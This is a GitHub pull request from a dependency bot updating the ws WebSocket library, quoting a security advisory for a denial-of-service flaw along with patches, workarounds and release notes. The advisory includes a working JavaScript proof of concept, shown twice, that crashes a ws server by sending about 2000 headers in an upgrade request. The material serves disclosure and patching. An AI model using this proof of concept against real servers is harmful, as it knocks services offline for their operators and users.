🚨 [security] Update ws 8.17.0 → 8.18.0 (minor)

depfu[bot] commented 2 months ago

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ ws (8.17.0 → 8.18.0) · Repo

Security Advisories 🚨

🚨 ws affected by a DoS when handling a request with many HTTP headers

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept
const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});
Patches

The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.

Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References

#2230

#2231

Release Notes

8.18.0

Features

Added support for Blob (#2229).

8.17.1

Bug fixes

Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});
The vulnerability was reported by Ryan LaPointe in #2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the
--max-http-header-size=size and/or the maxHeaderSize options so
that no more headers than the server.maxHeadersCount limit can be sent.

Set server.maxHeadersCount to 0 so that no limit is applied.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 8 commits:

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github-actions[bot] commented 2 months ago

size-limit report 📦

Path	Size
dist/wappsto-wapp.cjs.production.min.js	63.1 KB (0%)
dist/wappsto-wapp.esm.js	60.14 KB (0%)
dist/wappsto-wapp.js	64.7 KB (0%)

depfu[bot] commented 1 month ago

Closing because this update has already been applied

Wappsto / javascript-wappsto-wapp